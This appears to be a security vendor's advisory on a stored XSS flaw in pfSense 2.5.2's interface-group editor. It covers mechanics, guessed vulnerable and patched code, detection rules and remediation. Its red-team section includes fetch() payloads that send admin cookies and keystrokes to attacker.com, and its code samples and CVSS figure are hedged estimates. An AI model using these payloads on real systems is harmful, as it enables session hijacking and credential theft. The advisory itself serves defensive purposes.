CVE-2024-46538

Executive Summary

CVE-2024-46538 is a stored cross-site scripting (XSS) vulnerability identified in pfSense version 2.5.2. The flaw resides in the interfaces_groups_edit.php file, where the $pconfig variable is not properly sanitized before being rendered. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the interface group name field, leading to persistent XSS. This can result in session hijacking, credential theft, or further compromise of the pfSense firewall management interface.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a direct code-level flaw in the pfSense web interface.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which likely indicates incomplete scoring. Based on the nature of the vulnerability (stored XSS in a web management interface), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated user with group edit permissions
• User Interaction (UI): None (N) – the payload executes when the page is viewed
• Scope (S): Changed (C) – the injected script can affect the browser session
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires authentication but can lead to full compromise of the admin session.

Deep Dive & Mechanics

The vulnerability exists in the interfaces_groups_edit.php file. When editing an interface group, the $pconfig array is populated with user-supplied data (e.g., the group name). This data is then echoed directly into the HTML without proper encoding or sanitization. An attacker can inject a payload such as:

<script>alert('XSS')</script>

into the group name field. When an administrator views the interface groups page, the script executes in their browser context, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to malicious sites.

The root cause is the lack of output encoding using functions like htmlspecialchars() or a templating engine that auto-escapes variables.

Vulnerable vs. Patched Code

Vulnerable Code (pfSense 2.5.2):

In interfaces_groups_edit.php, the group name is likely echoed directly:

<?php
// Vulnerable: direct echo without sanitization
echo "<td>" . $pconfig['groupname'] . "</td>";
?>

Patched Code (Hypothetical):

A patched version would use proper output encoding:

<?php
// Patched: use htmlspecialchars to escape HTML
echo "<td>" . htmlspecialchars($pconfig['groupname'], ENT_QUOTES, 'UTF-8') . "</td>";
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a pfSense 2.5.2 instance with admin credentials.
• Ability to navigate to interfaces_groups_edit.php.

Exploitation Steps:

1. Log in to pfSense web interface.
2. Navigate to Interfaces > Interface Groups.
3. Click Add or Edit an existing group.
4. In the Group Name field, inject the following payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

5. Save the group.
6. When any admin views the interface groups list, the script executes and exfiltrates the session cookie.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team

Detection Steps:

1. Monitor web server logs for unusual characters in the groupname parameter.
2. Look for outbound connections to unknown domains from the pfSense web interface.
3. Review interface group names for suspicious HTML/JavaScript content.

Mitigation Steps:

1. Immediately restrict write access to interface groups to only essential administrators.
2. Apply input validation and output encoding as described in the patched code section.
3. Consider using a Web Application Firewall (WAF) to block XSS patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the pfSense web interface.
  • Suspicious GET or POST requests to interfaces_groups_edit.php with encoded JavaScript in the groupname parameter.

• File IOCs:

  • Modified interfaces_groups_edit.php file (if attacker has file write access).
  • Unusual entries in /var/log/system.log or /var/log/nginx/access.log.

• Behavioral IOCs:

  • Unexpected admin session activity (e.g., configuration changes without authorization).
  • Presence of unexpected JavaScript in the HTML source of the interface groups page.

Detection Engineering

YARA Rule

rule CVE_2024_46538_XSS_pfSense {
    meta:
        description = "Detects XSS payload in pfSense interface group name"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46538"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $php_file = "interfaces_groups_edit.php"
    condition:
        $php_file and $xss_payload
}

Sigma Rule

title: CVE-2024-46538 XSS in pfSense Interface Groups
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts in pfSense interface group name field
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'interfaces_groups_edit.php'
        cs-uri-query|re: 'groupname=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in group names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46538 XSS in pfSense Interface Groups"; flow:to_server,established; content:"interfaces_groups_edit.php"; http_uri; content:"groupname="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade pfSense to a version that includes a fix for this vulnerability (if available).
2. If upgrade is not possible, manually apply the patch by editing interfaces_groups_edit.php to use htmlspecialchars() on the $pconfig variable.
3. Restrict access to the web interface to trusted IP addresses only.
4. Enable HTTP-only and Secure flags on session cookies to reduce impact of XSS.

Long-term Recommendations:

• Implement a Content Security Policy (CSP) header to block inline scripts.
• Regularly audit and update pfSense to the latest stable version.
• Use a Web Application Firewall (WAF) with XSS detection rules.
• Conduct periodic security training for administrators.

Valters IT – Securing digital frontiers, one vulnerability at a time.